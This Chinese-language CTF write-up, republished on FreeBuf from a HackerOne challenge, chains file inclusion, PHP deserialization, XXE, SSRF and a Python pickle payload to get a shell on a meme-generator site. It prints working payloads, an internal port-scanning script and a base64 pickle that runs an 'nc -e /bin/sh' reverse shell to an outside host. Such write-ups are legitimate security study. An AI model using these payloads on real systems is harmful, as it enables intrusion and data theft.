freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Hackerone的一场CTF Writeup
2018-12-01 08:00:16

我们从HackerOne的推特中得知这场CTF竞赛,并立即行动了起来。这场CTF竞赛从推特上一张包含二维码的图片开始。

image.png
二维码返回以下信息:

image.png

这些字符看上去很眼熟,因为它们是url编码的字节。因此我们在每两个字符后面加上了一个‘%’。 

image.png

然后我们用Burpsuite的解码器对这段字符进行了URL解码,得到了URL:(https://h1-5411.h1ctf.com):

image.png紧接着,我们开始浏览这个网站: 

image.png

这是一个创建表情包的网站,你可以选择一个模板(从一组封闭的图像中),然后制作属于你的表情包。我们发现一个有趣的页面,从这里真正的表情包开始产生: 

image.png可以选择表情包图片和文本的类型,在顶部和底部编辑关键的表情包文字之后,表情包将在底部展现。 

image.png从现在开始,每个生成的表情包都展示在”meme.php”页面上。 

我们仔细观察了一下生成表情包的请求,我们注意到在交换数据(包含表情包参数template)时,响应返回一个JSON,其中包含远程服务器上的本地表情包的路径信息。 

image.pngimage.png我们认为”template”参数区域可能容易受到本地文件包含的影响,并且确实如此。我们试图获取”/etc/passwd”文件,想办法去得到它:

image.pngimage.png在验证了漏洞之后,我们尝试获取这个网站的源码。我们从获取”index.php”开始: 

image.png

image.png

一旦我们成功的获取到了index.php文件,我们就可以遍历获取源码中引用的每个php文件,从而导致源码几乎完全被转储(未涵盖的代码不会显示,因为没有被引用)。 

image.png

我们开始审查源码,”header.php”引起了我们的注意。里面包含已经注释了的两个文件——导入和导出memes的php文件,看起来它们属于2.0版本的网站。 

image.png我们尝试去连接它们,发现在网站上可以查阅到: 

image.pngimage.png

快速的浏览了一下,EXPORT导出功能返回一个我们表情包的”memeapk”文件。 

image.png我们打开这个文件,显然这个文件包含php序列化数组的base64编码数据。 

image.png

这立即使我们意识到可能着面临一个反序列化漏洞。在PHP中,为了反序列化对象,PHP需要熟悉类的信息——这意味着我们只能序列化原始的或者已经定义的类。

除了熟悉这些类, 我们还需要一个接收器函数 (神奇函数), 它包含我们控制的数据, 并将由系统本地触发。

在之前提取的”class.php”文件里,我们发现3个定义的类:

1. Template

2. Maintenance

3. ConfigFile

Maintenace类被注释掉并且注释表明它属于内部服务。

ConfigFile类是最有意思的一个,因为它包含”_toString”神奇函数,该函数执行”parse”函数,该函数加载外部XML,可能导致XXE漏洞。

image.png

我们有了我们想要序列化的类,现在我们必须要找到调用序列化方法的位置。我们看到正在序列化的内容是存储在会话中的memes数组: 

image.png当上传新的”memepak”文件时,反序列化阶段执行于导出功能处。这个函数首选确认我们上传了一个文件,然后读取文件内容,进行base 64 解码然后传送到unserialize函数中。 

image.png

在这种情况下,我们尝试用反序列化函数来实现XXE。要做到这一点,需要调用”_toString”函数。在”memes.php”页面上,遍历memes数组,所以每个meme都被打印出来。打印该项触发了“_toString”方法,从而触发了”parse”函数。 

image.png

为了创建ConfigFile对象的序列化字符串,我们将ConfigFile类复制到我们的电脑上,使用我们所需要的参数创建了一个ConfigFile的实例,将其序列化并将其回显到控制台: 

image.png

上图中的”test.xml”文件包含一个恶意XXE payload,可以显示“/etc/passwd”文件。因此会返回以下字符串:

    a:1:{i:0;O:10:"ConfigFile":1:{s:10:"config_raw";s:94:"<!DOCTYPE replace [<!ENTITY ent SYSTEM 'file:///etc/passwd'> ]><a><toptext>&ent;</toptext></a>";}}

 如前所述,“import_memes_2.0.php”文件接受base 64 编码的序列化字符串,该字符串表示php数组。

image.pngimage.png我们发送了包含单个ConfigFile实例的序列化数组(带有恶意payload): 

image.png

成功了!~

预料之中,得到了“/etc/passwd”,所以我们挖到了一个有效的XXE漏洞。

image.png我们现在面临的问题是将XXE漏洞升级为远程代码执行(RCE)。 

我们尝试了“expect://”模块,但是失败了。我们回想了在”classes.php”文件里提到的maintenance类,注释里提到内部服务,所以我们尝试了SSRF。 

简单起见,我们更改了XXE的payload,以便获取外部DTD。这将使我们免去更改序列化PHP对象的麻烦,并且只需要我们调用”memes.php”来触发XXE。 

新的序列化对象结果是: 

    a:1:{i:0;O:10:"ConfigFile":1:{s:10:"config_raw";s:127:"<!DOCTYPE replace [<!ENTITY % outside SYSTEM 'http://<<redacted>>/exfil.dtd'> %outside; ]> <a><toptext>&exfil;</toptext></a>";}} 

而远程DTD文件的结果是: 

    <!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=http://localhost:80/ "><!ENTITY exfil "%data;"> 

我们首先尝试了使用payload获取”localhost:80”,但是没有任何返回。我们尝试了其他常见端口但没有成功。我们写了一个遍历整个端口范围的脚本,来测试我们是否能得到不同的响应:

import requests

s = '''<!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=http://localhost:80"><!ENTITY exfil "%data;">'''

for i in range(0,65535):

    with open('exfil.dtd', 'w') as f:

        f.write(s.replace('80',str(i) ))

    print('[-] running ' + str(i))

    r = requests.get('https://h1-5411.h1ctf.com/memes.php', cookies={'PHPSESSID' : 'ockij83kja86797h54m2r6pso9'} )

    with open('results/'+ str(i) + '.html', 'w') as f:

        f.write(r.text)

 该脚本导致许多失败的结果(它们共享相同的文件大小3575)

image.png

终于,我们看到了一个文件大小不同的文件。该文件的端口号为1337: 

image.png文件的内容为: 

image.pngbase 64编码的内容(请注意debug参数): 

image.png我们尝试通过ssrf访问http://localhost:1337/status?debug=true ,并得到了如下返回: 

image.png经过base 64 解码我们得到如下内容: 

image.png

这些数据看起来像是python序列化对象。

然后我们访问“http://localhost:1337/update-status?debug=true&status=on”然后得到如下返回: 

image.png

这个返回使我们意识到我们应该对我们的数据进行编码(因为base 64 编码依赖于正确的填充)。 

我们发送相同的请求,只编码”status”参数值并得到如下返回: 

image.png

我们现在得到了一个不同的错误,说明服务器找不到MARK。此错误消息通常表示服务器正在尝试使用python pickle库取消选区对象。

我们发现如下gist,运行命令来产生pickle序列化python对象:https://gist.github.com/mgeeky/cbc7017986b2ec3e247aab0b01a9edcd

我们用这个gist生成python对象并使用base64进行编码:

image.png这个序列化对象的内容是:

image.png

现在,我们更改了外部DTD以提供序列化对象:

    <!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=http://localhost:1337/update-status?status=Y3Bvc2l4CnN5c3RlbQpwMQooUyduYyAtZSAvYmluL3NoIGRvLm1hbGxvYy5jby5pbCA4MTkzJwpwMgp0UnAzCi4%3d&debug=true"><!ENTITY exfil "%data;">

然后,我们设置了一个netcat监听器并发送了请求。一旦XXE被触发,SSRF就会被触发,序列化对象被反序列化并且shell产生。现在我们有一个远程的shell,我们运行”ls”查看当前目录内容。我们观察到”flag.txt”文件并打开它,文件包含的内容如下所示: 

image.png*参考来源:HackerOne,由AngieQ编译,转载请注明来自FreeBuf.COM

# CTF # HackerOne
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者